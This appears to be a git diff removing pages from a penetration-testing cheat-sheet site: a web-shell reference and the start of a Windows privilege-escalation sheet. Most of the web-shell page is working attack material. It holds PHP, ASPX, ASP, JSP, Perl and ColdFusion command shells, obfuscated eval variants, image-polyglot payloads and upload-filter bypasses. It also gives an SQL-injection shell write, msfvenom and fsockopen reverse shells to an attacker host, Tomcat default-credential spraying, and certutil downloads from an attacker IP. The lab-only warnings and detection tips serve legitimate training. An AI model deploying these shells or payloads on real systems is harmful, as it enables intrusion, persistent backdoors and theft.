-printf 'SCRIPT_FILENAME=%s\n' "${SCRIPT_FILENAME:-unset}" -ps -o user,pid,ppid,comm,args -p $$ -p $PPID - -apachectl -S 2>/dev/null -nginx -T 2>&1 | sed -n '1,200p' -``` - -Windows IIS — CMD: - -```batch -cd -echo %APPL_PHYSICAL_PATH% -%windir%\system32\inetsrv\appcmd.exe list site -%windir%\system32\inetsrv\appcmd.exe list vdir /text:physicalPath -``` - -Windows IIS — PowerShell: - -```powershell -Get-Location -$env:APPL_PHYSICAL_PATH - -Import-Module WebAdministration -Get-Website | Select-Object Name, State, PhysicalPath, Bindings -Get-WebVirtualDirectory | Select-Object Site, Path, PhysicalPath -``` - -These commands depend on the service account's read permissions and installed administration tools. Treat an empty variable or access error as “not available from this context,” not as proof that no webroot exists. - -### Know which shell parses the command - -| Runtime call | Shell metacharacters such as `&&`, `\|`, `>`? | Reliable form | -|---|---:|---| -| PHP `system()` / ASPX `cmd.exe /c` | Yes | Send the complete command with URL encoding | -| Java `Runtime.exec(String)` | No implicit shell | Explicitly call `/bin/sh -c` or `cmd.exe /c` | -| PowerShell invocation | PowerShell syntax | Do not paste CMD-only quoting unchanged | - -Capture stderr when a command appears blank: - -```bash -curl -fsS -G "$SHELL_URL" --data-urlencode 'cmd=id 2>&1' -curl -fsS -G "$SHELL_URL" --data-urlencode 'cmd=pwd; printf "exit=%s\n" "$?"' -``` - ---- - -## A · PHP web shells `fas:Terminal` - -> [!success]+ Default: rp-shell.php -> Full Rosé Pine UI, exec-function fallbacks, persistent `cd`, upload/download, Linux enum chips. File: [rp-shell.php](/downloads/pentest-workflow/rp-shell.php) ([SHA-256](/downloads/pentest-workflow/rp-shell.php.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.php.sha256.asc)) -> Use the minimal shells below only when you need something tiny/stealthy or must hand-craft around a filter. - -### Minimal one-liners - -```php -<?php system($_GET['cmd']); ?> // classic GET -<?php echo shell_exec($_GET['cmd']); ?> // shell_exec returns full output as string -<?php passthru($_REQUEST['cmd']); ?> // $_REQUEST = GET or POST or cookie -<?php if(isset($_POST['c'])) system($_POST['c']); ?> // POST-only (stays out of access logs' query string) -``` - -> [!info]+ Which exec function? -> `system()` prints output + returns last line · `shell_exec()`/backticks return the **whole** output as a string (needs `echo`) · `passthru()` streams raw bytes (good for binary) · `exec()` returns only the **last** line unless you pass `$output`. If one is disabled via `disable_functions`, try the others: `proc_open`, `popen`, `pcntl_exec`. Check with a probe: `<?php var_dump(ini_get('disable_functions')); ?>`. **rp-shell.php does this fallback chain automatically** and shows the disabled list in its banner. - -### Compact keyed examples (lab-only) - -```php -<?php @eval($_POST['pass']); ?> // China Chopper server side (client sends PHP) -<?php @system($_REQUEST['0xdeadbeef']); ?> // non-default parameter name -<?php @eval(base64_decode($_POST['x'])); ?> // base64-wrapped payload in body -<?php $f='sys'.'tem'; @$f($_GET['c']); ?> // split string dodges naive grep for "system(" -``` - -> [!tip]+ Blend with an image to survive `.jpg` uploads + LFI -> ```bash -> exiftool -Comment='<?php system($_GET["cmd"]); ?>' cat.jpg # payload rides in EXIF -> mv cat.jpg cat.php.jpg # or serve as .php via .htaccess / include via LFI -> ``` -> The file is a valid image (passes magic-byte checks) but contains live PHP once interpreted. - -### Prebuilt PHP shells - -```bash -# Laudanum — pre-installed on Kali/Parrot, edit allowedIps first -cp /usr/share/laudanum/php/php-reverse-shell.php ./shell.php # reverse -cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php # pentestmonkey classic (edit $ip/$port) - -# WhiteWinterWolf wwwolf — robust cmd shell, works when system() is filtered -# https://github.com/WhiteWinterWolf/wwwolf-php-webshell - -# p0wny-shell — single-file, pretty prompt UI (https://github.com/flozz/p0wny-shell) -# b374k / c99 / r57 — full-featured but HEAVILY signatured; lab-only, expect AV hits -``` - -### weevely — stealth, obfuscated, encrypted PHP agent + client - -```bash -weevely generate <password> agent.php # generates an obfuscated agent -# upload agent.php, then connect: -weevely http://$IP/uploads/agent.php <password> -# gives a real terminal, modules for file ops, privesc enum, pivot, SQL, etc. -``` - -### msfvenom PHP payloads - -```bash -msfvenom -p php/reverse_php LHOST=$LHOST LPORT=443 -f raw -o shell.php -# msfvenom often omits the opening tag — prepend it if the app doesn't wrap: -(echo '<?php ' ; cat shell.php) > s.php && mv s.php shell.php -# meterpreter over PHP (richer post-ex): -msfvenom -p php/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -f raw -o met.php # catch with multi/handler -``` - ---- - -## B · ASP / ASPX web shells (IIS) `fas:Terminal` - -> [!success]+ Default: nt-webshell-rosepine.aspx (ASP.NET) or rp-shell.asp (Classic ASP) -> - **ASP.NET available (almost always):** [nt-webshell-rosepine.aspx](/downloads/pentest-workflow/nt-webshell-rosepine.aspx) ([SHA-256](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256) · [GPG signature](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256.asc)) — full UI, persistent `cd`, upload/download, Windows enum chips, `ValidateRequest="false"`. -> - **Classic ASP only (legacy):** [rp-shell.asp](/downloads/pentest-workflow/rp-shell.asp) ([SHA-256](/downloads/pentest-workflow/rp-shell.asp.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.asp.sha256.asc)) — same UI in VBScript; no upload form (use `certutil`/PowerShell to fetch files instead). -> **Check which you have before uploading:** the `7*7` probe from §Map the request. The two languages are NOT interchangeable — see the mismatch trap callout at the top of this card. - -### ASPX minimal GET shell (drop-in, C# — this is the ASP.NET one) - -```aspx -<%@ Page Language="C#" %> -<%@ Import Namespace="System.Diagnostics" %> -<%@ Import Namespace="System.IO" %> -<script runat="server"> -protected void Page_Load(object sender, EventArgs e){ - ProcessStartInfo psi = new ProcessStartInfo("cmd.exe", "/c " + Request["cmd"]); - psi.RedirectStandardOutput = true; - psi.RedirectStandardError = true; - psi.UseShellExecute = false; - Process p = Process.Start(psi); - string output = p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd(); - p.WaitForExit(); - Response.Write("<pre>" + Server.HtmlEncode(output) + "</pre>"); -} -</script> -``` - -Browse: `http://$IP/shell.aspx?cmd=whoami` - -### Classic ASP (older IIS, VBScript — extension must be `.asp`) - -> [!danger]+ Save VBScript as `.asp`, never `.aspx` -> The block below is **classic ASP**. In a `.aspx` file the ASP.NET parser rejects it and IIS returns the generic "Server Error in '/' Application" runtime page. (Yes, this card previously had this exact code sitting unlabelled under an ASPX heading — that's what burned us on the DNN host. Fixed now.) - -```asp -<% Set o = Server.CreateObject("WScript.Shell") - Set e = o.Exec("cmd /c " & Request.QueryString("cmd")) - Response.Write("<pre>" & e.StdOut.ReadAll() & "</pre>") %> -``` - -The full-featured VBScript variant with server info + form UI (the one from the Academy walkthrough) is **rp-shell.asp**, which adds persistent `cd`, stderr capture, and a download handler on top of the same `WScript.Shell.Exec` primitive. - -### Antak — PowerShell-driven ASPX web shell (Nishang) - -```bash -cp /usr/share/nishang/Antak-WebShell/antak.aspx ./Upload.aspx -# edit line ~14: set $Username / $Password before uploading -``` -Runs each command as a new process, can execute scripts **in memory**, and encodes traffic — the strongest option when the target is Windows + PowerShell. Browse to the file, authenticate, issue PowerShell. - -### Laudanum ASPX + msfvenom - -```bash -cp /usr/share/laudanum/aspx/shell.aspx ./demo.aspx # edit allowedIps (~line 59), strip ASCII art -msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$LHOST LPORT=443 -f aspx -o shell.aspx -``` - -> [!info]+ IIS extension quirks worth knowing -> Handler mappings vary by IIS and ASP.NET version. Alternate extensions such as `.ashx`, `.asmx` or classic `.asp` execute only when the corresponding handler is enabled; trailing-dot/ADS behavior is legacy and configuration-dependent. Validate with a harmless marker. The `aspnet_client` directory is a useful ASP.NET clue, not proof that every extension executes. - ---- - -## C · JSP / WAR web shells (Tomcat / JBoss) `fas:Terminal` - -> [!success]+ Default: rp-shell.jsp -> [rp-shell.jsp](/downloads/pentest-workflow/rp-shell.jsp) ([SHA-256](/downloads/pentest-workflow/rp-shell.jsp.sha256) · [GPG signature](/downloads/pentest-workflow/rp-shell.jsp.sha256.asc)) — OS auto-detection (Windows `cmd.exe /c` vs Linux `/bin/sh -c`), `cd` persisted in the JSP session, download handler, OS-appropriate chips. The explicit shell wrapper is what makes pipes/redirects/chaining work; bare `Runtime.exec(String)` does not invoke a command shell. - -### Raw JSP command shell (minimal) - -```jsp -<%@ page import="java.util.*,java.io.*" %> -<% - String cmd = request.getParameter("cmd"); - if (cmd != null) { - boolean windows = System.getProperty("os.name").toLowerCase().contains("win"); - String[] command = windows - ? new String[] {"cmd.exe", "/c", cmd} - : new String[] {"/bin/sh", "-c", cmd}; - Process p = new ProcessBuilder(command).redirectErrorStream(true).start(); - BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream())); - String l; out.println("<pre>"); - while ((l = r.readLine()) != null) out.println(l); - out.println("</pre>"); - } -%> -``` -Drop as `cmd.jsp` in a webroot → `http://$IP:8080/cmd.jsp?cmd=id`. Prebuilt copy: `/usr/share/webshells/jsp/cmd.jsp`. - -### Build a WAR by hand - -```bash -mkdir webshell && cp rp-shell.jsp webshell/ -cd webshell && jar -cvf ../webshell.war * # -> deployed at /webshell/rp-shell.jsp -``` - -### msfvenom WAR / JSP - -```bash -msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f war -o shell.war -msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f raw -o shell.jsp -unzip -l shell.war # note the random-named .jsp inside — that's the trigger path -``` - -### Deploy to Tomcat Manager (creds required) - -```bash -# text API deploy -curl -u tomcat:s3cret -T shell.war "http://$IP:8080/manager/text/deploy?path=/shell" -curl "http://$IP:8080/shell/" # trigger reverse shell / browse cmd.jsp -# Metasploit alternative: exploit/multi/http/tomcat_mgr_upload (set HttpUsername/HttpPassword) -``` - -> [!tip]+ No creds? Spray the Tomcat defaults -> `tomcat:tomcat`, `admin:admin`, `tomcat:s3cret`, `admin:<blank>`, `role1:role1`. Manager lives at `/manager/html` (GUI) or `/manager/text` (API). JBoss equivalent: deploy the WAR via `/jmx-console` → `jboss.system:service=MainDeployer`. - ---- - -## D · Other stacks (brief) `fas:Terminal` - -```cfm -<!-- ColdFusion .cfm --> -<cfoutput><pre><cfexecute name="C:\Windows\System32\cmd.exe" - arguments="/c #URL.cmd#" timeout="20" variable="out"></cfexecute>#out#</pre></cfoutput> -``` - -```perl -#!/usr/bin/perl -# Perl CGI — drop in /cgi-bin/, chmod +x -use CGI; my $q = CGI->new; print $q->header('text/plain'); print `$ENV{'QUERY_STRING'}`; -``` - -Python drop-in files are rare (frameworks don't execute arbitrary `.py` from the webroot); when you have Python **code injection** instead, use `os.system()`/`subprocess` inline rather than a file. Prebuilt collections: **PayloadsAllTheThings/Upload Insecure Files**, **tennc/webshell**, and SecLists `Web-Shells/`. - ---- - -## E · Where the prebuilt shells live `fas:BookOpen` - -| Source | Path / URL | Languages | -|---|---|---| -| **rp-shell family (this vault)** | `nt-webshell-rosepine.aspx` · `rp-shell.php` · `rp-shell.asp` · `rp-shell.jsp` | aspx, php, asp, jsp | -| **Laudanum** | `/usr/share/laudanum/` | asp, aspx, jsp, php, cfm, perl | -| **Kali webshells** | `/usr/share/webshells/{php,asp,aspx,jsp,perl,cfm}/` | all | -| **Nishang / Antak** | `/usr/share/nishang/Antak-WebShell/` | aspx (PowerShell) | -| **weevely** | `weevely generate` | php (stealth) | -| **SecLists** | `/usr/share/seclists/Web-Shells/` | all | -| **PayloadsAllTheThings** | github `swisskyrepo/PayloadsAllTheThings` | all + upload bypasses | -| **tennc/webshell** | github `tennc/webshell` | huge archive | - ---- - -## F · Deploying it — delivery vectors `fas:Terminal` - -### 1. Unrestricted file upload (best case) - -Upload via the app's own upload feature (avatar, document, logo, import), then browse to the returned path. Find where it landed: common webroots below. - -```text -Linux : /var/www/html /var/www /srv/http (Arch) /usr/share/nginx/html /opt/<app> -Windows: C:\inetpub\wwwroot DNN: C:\DotNetNuke\Portals\0 Tomcat: <install>/webapps/<app>/ -Uploads often under: /uploads /images /files /media /avatars /tmp -``` - -### 2. Upload filter bypass matrix - -> [!info]+ Bypass by what the filter checks -> Work out **what** is being validated (extension? `Content-Type` header? magic bytes? real image content?) and defeat that one thing while keeping the file executable. See Command Injection - Filter Bypass Cheat Sheet for the injection-side companion. - -| Filter | Bypass | -|---|---| -| **Blacklisted `.php`** | `.php3 .php4 .php5 .php7 .pht .phtml .phar .inc` · ASP: `.asp .asa .cer .aspx` · JSP: `.jspx .jsw .jsv .war` | -| **Case-sensitive blacklist** | `shell.pHp`, `shell.AsP`, `SHELL.PHP5` | -| **Extension check on last dot** | double ext `shell.php.jpg` / `shell.jpg.php` (depends which the server honours) | -| **Trailing chars stripped by OS** | `shell.php.` · `shell.php%20` · `shell.php%00.jpg` (null byte, PHP < 5.3.4) · `shell.aspx::$DATA` (IIS ADS) | -| **`Content-Type` (MIME) check** | intercept in Burp, change `Content-Type: application/x-php` → `image/gif` (leave PHP body intact) | -| **Magic-byte / "is it an image" check** | prepend `GIF89a;` or JPEG magic `\xFF\xD8\xFF` to the file before the `<?php` | -| **Real image required** | `exiftool -Comment='<?php system($_GET[cmd]);?>' img.jpg` → polyglot image + code | -| **Server maps ext via config** | upload a `.htaccess`: `AddType application/x-httpd-php .jpg` then upload `shell.jpg` | -| **Client-side JS validation only** | strip it — intercept the POST in Burp Repeater and send the raw multipart | - -```http -# Burp: the two lines you flip on a MIME-only check -Content-Disposition: form-data; name="file"; filename="shell.php" -Content-Type: image/gif <-- was application/x-php -``` - -```apache -# .htaccess trick (Apache) — upload this, then any .shell file runs as PHP -AddType application/x-httpd-php .shell -``` - -### 3. LFI / log poisoning / wrappers → execution - -When you can't upload but **can include** a file (LFI), plant code where the app will read it: poison the User-Agent in the Apache access log then include `/var/log/apache2/access.log`, use `php://input`/`data://`/`php://filter` wrappers, or `/proc/self/environ`. Full technique set lives in the LFI/RFI notes — from here it's the same PHP payloads above, just delivered through the include. - -### 4. SQLi write primitive → `INTO OUTFILE` - -```sql -' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/s.php'-- - -``` -Needs `FILE` privilege, `secure_file_priv` unset, and a writable, known webroot path. Then browse `s.php?cmd=id`. - -### 5. Management interfaces & protocols - -```bash -# Tomcat / JBoss WAR — see section C -# WebDAV PUT (if PUT is allowed) -curl -X PUT http://$IP/shell.php --data-binary @shell.php -davtest -url http://$IP -uploadfile shell.php # tests which extensions are executable -cadaver http://$IP/ # interactive WebDAV -# anonymous FTP mapped to the webroot (module's chain): drop into /uploads, browse over HTTP -ftp $IP # anonymous / <blank> → put shell.aspx → http://$IP/uploads/shell.aspx -``` - -### 6. CMS / app-specific - -- **DotNetNuke (DNN)** → Settings → Security → Allowable File Extensions (add `aspx`) → Content/Assets file manager upload → browse `/Portals/0/<file>.aspx`. Alternate RCE: SQL console → `xp_cmdshell` (see [6 - Post-Exploitation Persistence & Internal Enumeration](/sheets/pentest-workflow/post-exploitation-persistence-internal-enumeration)). -- **WordPress** → Appearance → Theme/Plugin Editor, edit `404.php` to your PHP shell; or upload a malicious plugin zip. (`wpscan`, or msf `wp_admin_shell_upload`.) -- **rConfig** → Devices → Vendors → Add Vendor "logo" field; upload `.php` and swap `Content-Type` to `image/gif` in Burp → `/images/vendor/<file>.php`. -- **Joomla / Drupal** → template editor, or a media-manager upload + `.htaccess`. - ---- - -## G · Interact & upgrade `fas:Terminal` - -```bash -# raw browser / curl -curl "http://$IP/uploads/shell.php?cmd=id" -curl -G "http://$IP/uploads/shell.php" --data-urlencode "cmd=cat /etc/passwd" -curl -X POST "http://$IP/shell.php" --data-urlencode "c=whoami" # POST-based shell - -# wshx — turns a dumb ?cmd= shell into a stateful prompt (session cwd, upload/download, auth, WAF bypass) -wshx -u "http://$IP/uploads/shell.php?cmd=CMD" # interactive -wshx -u "http://$IP/shell.php" -X POST --data 'c=CMD' --param c # POST variant -wshx -u "...cmd=CMD" -b 'PHPSESSID=..' --start '<pre>' --end '</pre>' # authed + trim wrapper -wshx -u "...cmd=CMD" --proxy http://127.0.0.1:8080 --double-encode # through Burp, WAF bypass - -# UPGRADE to a real reverse shell (do this early — web shells are fragile) -wshx -u "...cmd=CMD" --revshell $LHOST 443 # one-shot upgrade (pair with a listener) -revx $LHOST 443 -t bash --encode # or generate a payload to paste manually -# php one-liner a dropped .php pivots to: -php -r '$s=fsockopen("'"$LHOST"'",443);exec("/bin/sh -i <&3 >&3 2>&3");' -``` - -> [!warning]+ Web shell interactivity is limited -> Chained commands (`whoami && hostname`), interactive prompts, `cd` persistence, and `sudo` password entry frequently **don't work** through a bare web shell — each request is a fresh process. The rp-shell family fakes persistent cwd; `wshx` fakes it for bare shells; for anything real, upgrade to a reverse shell and stabilise (`python3 -c 'import pty;pty.spawn("/bin/bash")'`). See 3 - Reverse Shells. - ---- - -## H · Troubleshooting matrix `fas:Wrench` - -| Symptom | Likely cause | Next checks | -|---|---|---| -| **"Server Error in '/' Application" runtime error page (IIS)** | Language/extension mismatch — VBScript classic-ASP code in a `.aspx` file (or vice versa) | Match code to extension: VBScript→`.asp`, C#→`.aspx`; probe with `<%= 7*7 %>`; optionally set `customErrors mode="Off"` temporarily to see the real exception | -| File downloads or source is displayed | Wrong language/extension or no handler mapping | Re-fingerprint the stack; use a harmless interpreter probe | -| `404 Not Found` after upload | Server renamed the file, different vhost, virtual path or storage outside webroot | Inspect upload response, redirects, HTML source and predictable media paths | -| `403 Forbidden` | Execute permission, request filtering, application authorization or web-server deny rule | Compare static-file access; inspect method, extension and authenticated session | -| Blank `200` response | Function disabled, stderr lost, exception hidden or no command parameter | Use a static marker; capture headers/body; test `pwd`/`cd`; check server error behavior | -| Command runs but output is truncated | Timeout, buffering or binary output | Use `passthru`, redirect stderr, write a small lab artifact, or switch to a reverse shell | -| Linux command works, callback does not | Listener/interface error, egress filtering, DNS failure or missing interpreter | Verify `$LHOST`, route, listening socket and outbound TCP/DNS with a harmless connection test | -| Windows command works, PowerShell payload fails | CLM, AMSI/application control, quoting, architecture or proxy/TLS issue | Check language mode, available binaries, system proxy and event/error output | -| `cd`/environment change disappears | Each request creates a new process | Use an rp-shell (persistent cwd), absolute paths, `cd /path && command`, or a stateful client | -| WAR deploy says `FAIL` | Context already exists, wrong Manager role/path or malformed archive | Query `/manager/text/list`; choose a unique context; inspect WAR contents | - -### Fast request diagnostics - -```bash -# Show status, redirects, cookies and server headers -curl -vkI "$SHELL_URL" - -# Follow redirects while retaining a cookie jar -curl -ksS -L -c cookies.txt -b cookies.txt -G "$SHELL_URL" \ - --data-urlencode "cmd=id" - -# Confirm the listener is bound to the expected interface/port -ss -lntp | grep ":${LPORT}" -``` - ---- - -## Operational safety, detection & cleanup `fas:Lightbulb` - -> [!warning]+ Control the assessment artifact -> - **Restrict access:** Laudanum `allowedIps` = your source IP · Antak = built-in auth · custom = odd param name + a shared secret so no one else stumbles onto your shell. (rp-shell family: no auth built in — treat them as lab-only and delete immediately after use.) -> - **Know the signature:** public shells are widely detected. Prefer a minimal, reviewable lab payload and record its hash instead of deploying a feature-heavy shell. -> - **Assume requests are logged:** GET query strings are conspicuous, and WAFs/proxies may also retain POST bodies. Keep commands scoped and avoid placing credentials in either. -> - **Clean up:** record every file you drop and `rm`/`del` it at the end — a leftover shell is a live backdoor. The file on disk is a forensic artifact *even when the payload is memory-resident meterpreter*. On DNN also revert the Allowable File Extensions change. -> - **Don't submit to public VirusTotal** — it leaks the hash/signature to vendors and burns the payload. - -### Artifact ledger - -| Item | Record before use | Cleanup proof | -|---|---|---| -| Uploaded shell | Local/server filename, URL, SHA-256, owner/ACL | URL returns expected 404/denial; file absent | -| WAR/plugin/archive | Context or install name, deployment response, extracted paths | Undeploy/uninstall response; context no longer listed | -| Server config (`.htaccess`, handler mapping, DNN extensions) | Original content/hash and exact change | Original restored; handler probe no longer executes | -| Reverse-shell helper | Destination path, listener port, process identity | File/process/socket absent | -| Test account or app setting | Original role/value and UTC time | Original role/value restored | - -```bash -# Hash before upload and keep the value with the engagement evidence. -sha256sum rp-shell.php rp-shell.jsp rp-shell.asp nt-webshell-rosepine.aspx 2>/dev/null - -# Tomcat Manager: list, then undeploy the exact assessment context. -curl -fsS -u "$TOMCAT_USER:$TOMCAT_PASS" "$BASE_URL/manager/text/list" -curl -fsS -u "$TOMCAT_USER:$TOMCAT_PASS" "$BASE_URL/manager/text/undeploy?path=/shell" -``` - -**Blue-team tells** (what defenders grep for, so you know what you're leaving): new files with recent mtime in upload dirs; PHP files containing `system|shell_exec|passthru|eval|base64_decode|assert`; ASPX with `Process.Start` / ASP with `WScript.Shell`; short files in `/uploads` or `Portals/0`; unusual `Content-Type` on stored uploads; outbound connections from `www-data`/`apache`/`IIS APPPOOL`; access-log hits with `cmd=`/`?c=` query strings. Detection & prevention detail: 10 - Detection and Prevention. - ---- - -## Lessons Learned `fas:Lightbulb` - -1. **Fingerprint before you craft.** The single most common failure is uploading the wrong language for the stack — a `.php` on IIS just serves as text. Probe with `7*7`. -2. **Extension and language are a matched pair.** VBScript classic-ASP code in a `.aspx` file (or C# in `.asp`) fails with a generic runtime error page that hides the real parse exception. When the red IIS error page appears, check the mismatch *first*. -3. **Use the rp-shell family by default.** Persistent `cd`, stderr capture, upload/download, and enum chips remove the papercuts of bare one-liners — reach for minimal shells only when stealth or a filter demands it. -4. **Filter bypasses are about *what's checked*.** Extension, MIME header, magic bytes, and real-content validation each have a distinct bypass; the `Content-Type: image/gif` swap defeats the most common (client-supplied MIME trust) one. -5. **Upgrade fast.** A web shell is a stepping stone — fragile, semi-interactive, and noisy. Get a reverse shell (`wshx --revshell` / `revx`) and stabilise before doing real work. -6. **You are leaving files.** Track and remove every dropped shell; restrict it to your IP or behind a secret while it's live; revert app config changes (DNN extension lists, `.htaccess`). - -## References `fas:BookOpen` - -1. [PayloadsAllTheThings — Upload Insecure Files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files) -2. [Laudanum project](https://github.com/jbarcia/Web-Shells/tree/master/laudanum) -3. [Nishang · Antak Webshell](https://github.com/samratashok/nishang) -4. [weevely3](https://github.com/epinna/weevely3) -5. [WhiteWinterWolf PHP web shell](https://github.com/WhiteWinterWolf/wwwolf-php-webshell) -6. [tennc/webshell archive](https://github.com/tennc/webshell) -7. [OWASP — Unrestricted File Upload](https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload) -8. [PHP Manual — `system`](https://www.php.net/manual/en/function.system.php) -9. [Apache Tomcat 9 — Manager App How-To](https://tomcat.apache.org/tomcat-9.0-doc/manager-howto.html) - ---- - -[← Previous: Windows PrivEsc](/sheets/pentest-workflow/windows-privesc-cpts) · [Workflow dashboard](/sheets/pentest-workflow/attacking-common-modules-dashboard) · [Next: TTY Upgrades →](/sheets/pentest-workflow/tty-upgrades-and-restricted-shells) - -#HTB #Academy #ShellsAndPayloads #CPTS #WebShell #FileUpload #WebSecurity diff --git a/src/content/sheets/pentest-workflow/windows-privesc-cpts.md b/src/content/sheets/pentest-workflow/windows-privesc-cpts.md @@ -1,580 +0,0 @@ ---- -title: "Windows Privilege Escalation — CPTS Cheat Sheet" -description: "Updated CPTS field reference for windows privilege escalation — cpts cheat sheet." -category: pentest-workflow -subcategory: "General CPTS Cheatsheets" -order: 28 -tags: ["htb", "cpts", "privesc", "windows", "postexploitation", "pentest-workflow"] -tools: ["winPEAS / PowerUp / SharpUp / Seatbelt", "accesschk / PipeList (Sysinternals)", "JuicyPotato / PrintSpoofer / GodPotato", "procdump / mimikatz", "WES-NG / Watson", "LaZagne / SessionGopher / SharpChrome", "impacket-secretsdump / diskshadow / robocopy", "PowerView / SharpHound / BloodHound", "chisel / ligolo-ng"] -difficulty: intermediate -updated: "2026-08-29" -source: "vault:Pentest Attack Flow/General Pentest Cheatsheets/04 - Windows Privilege Escalation - CPTS Cheat Sheet.md" ---- -[← Workflow dashboard](/sheets/pentest-workflow/attacking-common-modules-dashboard) · [← Previous: Linux PrivEsc](/sheets/pentest-workflow/linux-privesc-cpts) · [Next: Web Shells →](/sheets/pentest-workflow/web-shells) - -# Windows Privilege Escalation — CPTS Cheat Sheet `fas:ClipboardList` - -> [!dashboard] Related -> **Companion:** [Linux PrivEsc](/sheets/pentest-workflow/linux-privesc-cpts) · **Full notes:** Windows PrivEsc · PrivEsc - Windows -> **Source module:** 26 · Windows Privilege Escalation · **Attack-flow stage:** [12 - Stage 09 - Privilege Escalation](/sheets/pentest-workflow/privilege-escalation) - -## Summary `ris:Eye` - -From a low-privilege Windows shell to `SYSTEM` / local admin. Run the bundled automated enum kit (§0) while working manual checks, and remember `whoami /priv` is the single highest-value command — token privileges (SeImpersonate, SeDebug, SeBackup) are the fastest wins, followed by privileged group membership, weak service/registry ACLs, credential hunting, and finally a missing-patch kernel exploit. This card covers the whole module: situational awareness, token & named-pipe abuse, the Potato family, built-in group abuse, UAC bypass, service/registry misconfig, kernel exploits, DLL hijacking, credential hunting/pillaging, attacking users, LOLBAS/AlwaysInstallElevated, scheduled tasks, domain collection, and the post-SYSTEM pivot. - -> [!danger]+ HTB-Only Boundary -> `fas:TriangleExclamation` -> 1. Authorized labs/engagements only. Dumping LSASS, cracking NTDS.dit, and planting service binaries are high-impact — get sign-off. -> 2. **Restore every config you touch** (service `binPath`, registry `ImagePath`, `ServerLevelPluginDll`) — leaving a `net localgroup /add` binPath is a live backdoor. -> 3. DPAPI-protected creds (Clixml, SharpChrome, Chrome cookies) only decrypt as the **originating** user — don't exfil blobs you can't use in scope. - -> [!tip]+ Live command libraries -> - **[WADComs](https://wadcoms.github.io/)** — filterable command reference for Windows and Active Directory techniques, tools and credential states. -> - **[LOLBAS](https://lolbas-project.github.io/)** — searchable catalogue of trusted Windows binaries, scripts and libraries with execution, download, upload, bypass and credential-related functions. -> - **[GTFOBins](https://gtfobins.org/)** — Linux/Unix companion when the path crosses into WSL, containers or another Unix host. -> -> Presence is not a privilege-escalation finding by itself. Confirm the binary path, arguments, integrity level, token privileges, ACLs, application-control policy and network reachability required by the selected technique. - -<figure class="flow plate corners"> -<figcaption class="flow__cap"><span class="flow__kind">PrivEsc decision path</span><span class="flow__dir">LR</span></figcaption> -<div class="flow__body"> -<div class="flow__diagram" data-dir="lr"> -<div class="flow-rank"><div class="flow-node is-entry">whoami /priv + /groups<span class="sub">systeminfo</span></div></div> -<div class="flow-edge"></div> -<div class="flow-rank"><div class="flow-node">Bundled enum kit:<span class="sub">winPEAS / PowerUp / WES-NG</span></div></div> -<div class="flow-edge"></div> -<div class="flow-rank"><div class="flow-node is-decision">Vector?</div></div> -<div class="flow-edge"></div> -<div class="flow-rank"><div class="flow-node">Token: SeImpersonate<span class="sub">SeDebug / SeBackup</span></div><div class="flow-node">Group: DnsAdmins<span class="sub">Backup/Server Operators</span></div><div class="flow-node">Service / registry<span class="sub">weak ACL / unquoted</span></div><div class="flow-node">Creds hunt · UAC bypass<span class="sub">· kernel CVE</span></div></div> -<div class="flow-edge"></div> -<div class="flow-rank"><div class="flow-node is-goal">SYSTEM / admin</div></div> -<div class="flow-edge"></div> -<div class="flow-rank"><div class="flow-node">Pillage again as SYSTEM<span class="sub">→ pivot (chisel / ligolo-ng)</span></div></div> -</div> -</div> -</figure> - ---- - -## 0 · Automated enum — run these first `fas:Bolt` - -Manual digging is slow and AV-noisy one command at a time. Stage the bundled kit in `C:\Windows\Temp` (`BUILTIN\Users` writable), hash-verify it, then let the collectors run while you work `whoami /priv` and `systeminfo` by hand. - -**Transfer + hash verification** — never run an unverified upload: - -```bash -# Attack host — verify the kit against the bundled manifest, then serve it -cd attachments -sha256sum -c SHA256SUMS.txt --ignore-missing -python3 -m http.server 8000 -``` - -```powershell -# Target — pull and verify before executing (manifest: [SHA256SUMS](/downloads/pentest-workflow/SHA256SUMS) ([GPG signature](/downloads/pentest-workflow/SHA256SUMS.asc))) -iwr http://10.10.14.3:8000/winPEASx64.exe -OutFile C:\Windows\Temp\winPEASx64.exe -certutil -urlcache -split -f http://10.10.14.3:8000/PowerUp.ps1 C:\Windows\Temp\PowerUp.ps1 -Get-FileHash .\winPEASx64.exe -Algorithm SHA256 # compare against SHA256SUMS.txt -certutil -hashfile .\PrintSpoofer64.exe SHA256 -``` - -| Tool | Bundle | Usage | Best for | -|---|---|---|---| -| **winPEAS (x64)** | [winPEASx64.exe](/downloads/pentest-workflow/winPEASx64.exe) ([SHA-256](/downloads/pentest-workflow/winPEASx64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/winPEASx64.exe.sha256.asc)) | `winPEASx64.exe log` — full run, output tee'd to a file for offline review | First-pass sweep: token privs, services, unquoted paths, creds, autologon | -| **winPEAS (AnyCPU)** | [winPEASany.exe](/downloads/pentest-workflow/winPEASany.exe) ([SHA-256](/downloads/pentest-workflow/winPEASany.exe.sha256) · [GPG signature](/downloads/pentest-workflow/winPEASany.exe.sha256.asc)) | same flags; use on x86 or locked-down .NET hosts | Legacy / 32-bit targets | -| **PowerUp** | [PowerUp.ps1](/downloads/pentest-workflow/PowerUp.ps1) ([SHA-256](/downloads/pentest-workflow/PowerUp.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/PowerUp.ps1.sha256.asc)) | `Import-Module .\PowerUp.ps1; Invoke-AllChecks` | Service/registry misconfig + abuse functions (§5) | -| **PowerView** | [PowerView.ps1](/downloads/pentest-workflow/PowerView.ps1) ([SHA-256](/downloads/pentest-workflow/PowerView.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/PowerView.ps1.sha256.asc)) | `Import-Module .\PowerView.ps1` → `Get-DomainUser`, `Find-InterestingDomainAcl` | AD 